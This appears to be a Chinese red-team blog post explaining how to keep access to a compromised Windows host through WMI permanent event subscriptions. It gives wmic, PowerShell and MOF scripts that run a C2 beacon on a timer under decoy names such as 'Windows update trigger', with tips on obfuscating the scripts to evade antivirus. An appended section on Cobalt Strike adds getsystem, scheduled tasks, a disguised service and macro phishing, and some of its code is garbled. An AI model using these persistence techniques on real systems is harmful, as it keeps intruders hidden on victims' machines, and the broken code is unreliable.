WMI利用(权限维持)

讲在前面:

    在简单了解了WMI后,我们开始了横向移动,包括其中的信息收集,工具利用。那么在我们短暂的获取权限后,如何才能将权限持久化,也就是所说的权限维持住呢?笔者看了国内外部分文章后,发现WMI做权限维持主要是介绍WMI事件,并将其分为永久事件和临时事件,本文参考部分博客文章对WMI事件进行讲解,不足之处,望及时指出。

什么是WMI事件

    WMI事件,即特定对象的属性发生改变时发出的通知,其中包括增加、修改、删除三种类型。可以使用wmic来进行操作。通俗的可以说:WMI内部出现什么变化就由WMI事件来进行通知。
    WMI事件中的事件消费者可以分为临时和永久两类,临时的事件消费者只在其运行期间关心特定事件并进行处理,永久消费者作为类的实例注册在WMI命名空间中,一直有效到它被注销。所以在权限维持中一般我们使用WMI永久事件来进行。
对于WMI事件的官方解释以及部分博客解释:

查询事件

#列出事件过滤器
Get-WMIObject -Namespace root\Subscription -Class __EventFilter

#列出事件消费者
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer

#列出事件绑定
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding

列出事件过滤器
在这里插入图片描述
列出事件消费者
在这里插入图片描述

删除事件

#删除事件过滤器
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='事件过滤器名'" | Remove-WmiObject -Verbose

#删除事件消费者
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='事件消费者名'" | Remove-WmiObject -Verbose

#删除事件绑定
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%事件绑定名%'" | Remove-WmiObject -Verbose

删除事件过滤器
在这里插入图片描述
删除事件消费者
在这里插入图片描述
删除事件绑定
在这里插入图片描述

WMI永久事件

注意:没有指定时间轮询则需要机器重启才可以进行WMI轮询,需要注意的一点是,WMI可以任意指定触发条件,例如用户退出,某个程序创建,结束等等

wmic添加永久事件

#注册一个 WMI 事件过滤器
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BugSecFilter", EventNamespace = "root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __TimerEvent WITHIN 10 WHERE TimerID = 'BugSecFilter'"

#注册一个 WMI 事件消费者
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="BugSecConsumer", CommandLineTemplate="cmd.exe /c  c:\beacon.exe"

#将事件消费者绑定到事件过滤器
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter='\\.\root\subscription:__EventFilter.Name="BugSecFilter"', Consumer='\\.\root\subscription:CommandLineEventConsumer.Name="BugSecConsumer"'

Powershell添加永久事件

注意:可以考虑添加Powershell的时间间隔器,需要上线至C2则将Payload替换成C2的exe或者dll或者ps1即可。

注意:需要修改一下参数

IntervalBetweenEvents ###修改间隔时间,以毫秒为单位。

$EventFilterArgs 中的 Name ###修改筛选器名称。

Query ###修改其中WQL语句,以下脚本中可不用修改,但TimerID需和$TimerArgs中的参数匹配。

$FinalPayload ###修改Payload,可以指定执行Powershell,或者cmd或者其他命令。

$CommandLineConsumerArgs 中的 Name ###修改消费者名称。
$TimerArgs = @{
 IntervalBetweenEvents = ([UInt32] 2000) # 30 min
 SkipIfPassed = $False
 TimerId ="Trigger" };
 
 
$EventFilterArgs = @{
EventNamespace = 'root/cimv2'
Name = "Windows update trigger"
Query = "SELECT * FROM __TimerEvent WHERE TimerID = 'Trigger'"
QueryLanguage = 'WQL' };


$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $EventFilterArgs;
$FinalPayload = 'cmd.exe /c c:\beacon.exe'
 
$CommandLineConsumerArgs = @{
 Name = "Windows update consumer"
 CommandLineTemplate = $FinalPayload};


$Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $CommandLineConsumerArgs;


$FilterToConsumerArgs = @{
 Filter = $Filter
 Consumer = $Consumer};


$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs;

注意:上述脚本出现的WQL语句,也可以指定WITHIN来指定间隔时间,以秒为单位,但是需提前指定TimerID,可以自行修改PS1脚本进行完善,将添加后门、删除后门的操作集成到一个脚本内完成,同时免杀的操作可以针对性的进行混淆或编码的操作。

SELECT * FROM __TimerEvent WITHIN 10 WHERE TimerID = 'Trigger'

上线C2

注意:将上述Powershell脚本替换其执行的Payload进行本地执行,另存为ps1格式并修改其轮询的时间。若想做成远程下载格式,则需要将Powershell做好免杀的操作。

运行ps1脚本后成功上线
在这里插入图片描述

Mof文件添加事件

注意:笔者在测试Mof文件添加事件时,编译后的确能够正常添加事件,但是未能执行指定命令。

#PRAGMA NAMESPACE ("\\\\.\\root\\subscription")
instance of CommandLineEventConsumer as $Cons
{
    Name = "test1comsumer";
    RunInteractively=false;
    CommandLineTemplate="cmd.exe /c c:\beacon.exe";
};

instance of __EventFilter as $Filt
{
    Name = "test1filter";
    EventNamespace = "root\\cimv2";
    Query ="SELECT * FROM __TimerEvent  WITHIN 10 WHERE TimerID = 'test1filter'";
    QueryLanguage = "WQL";
};

instance of __FilterToConsumerBinding
{ 
     Filter = $Filt;
     Consumer = $Cons;
};

编译

mofcomp.exe wmi.mof

在这里插入图片描述
事件添加成功
在这里插入图片描述

本文参考文章:

WMI

### Cobalt Strike 权限维持技术细节和方法 #### 使用内置模块实现权限提升 Cobalt Strike 提供了多种用于权限维持的技术,这些技术可以有效地帮助操作员在目标系统上获得更高的访问级别。例如,`getsystem` 命令尝试获取 SYSTEM 权限,这是操作系统中的最高权限之一[^2]。 ```powershell beacon> getsystem ``` 该命令会自动检测并利用各种已知漏洞和技术来提权,如进程注入和服务滥用等。 #### 创建持久化机制 为了确保即使重启也能继续拥有对系统的控制权,可以通过创建计划任务、注册表键或其他形式的启动项来设置持久化连接。具体来说: - **计划任务**:使用 `schtasks` 或 PowerShell cmdlet (`Register-ScheduledTask`) 安排定期运行恶意负载的任务。 ```powershell schtasks /create /tn "SystemUpdate" /tr "<path_to_payload>" /sc DAILY /st 08:00 ``` - **WMI 订阅事件过滤器**:通过 WMI (Windows Management Instrumentation) 设置触发条件,在特定情况下激活 payload 的执行。 ```powershell $filter = Set-WmiInstance -Namespace root\subscription ` -Class __EventFilter -Arguments @{ Name="Startup"; EventNameSpace='root/cimv2'; QueryLanguage='WQL'; Query='SELECT * FROM Win32_ComputerShutdownEvent' } $consumer = Set-Arguments @{ Name="Cleanup"; ExecutablePath="<path_to_cleanup_script>"; CommandLineTemplate="" } Set-WmiInstance -Namespace root\subscription -Class FilterToConsumerBinding -Arguments @{ Filter=$filter; Consumer=$consumer } ``` - **服务安装**:伪装成合法的服务组件,并将其配置为随系统一起启动。 ```powershell New-Service -Name "SecurityHealthService" -DisplayName "Windows Security Health Service" -Description "Provides security health monitoring services." -Service -Name "SecurityHealthService" ``` 以上几种方式均能有效建立长期存在的后门通道,使得攻击者可以在不依赖于当前用户的登录状态的情况下持续监控和操控受感染主机。 #### 利用社会工程学手段 除了技术和编程层面的操作外,还可以借助社工手法诱导受害者授予更高权限给植入物。比如发送带有宏病毒文档附件的钓鱼邮件,当收件人启用宏时即完成 UAC 绕过以及后续动作部署;或是引导用户下载看似无害的应用程序实则暗藏木马逻辑。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值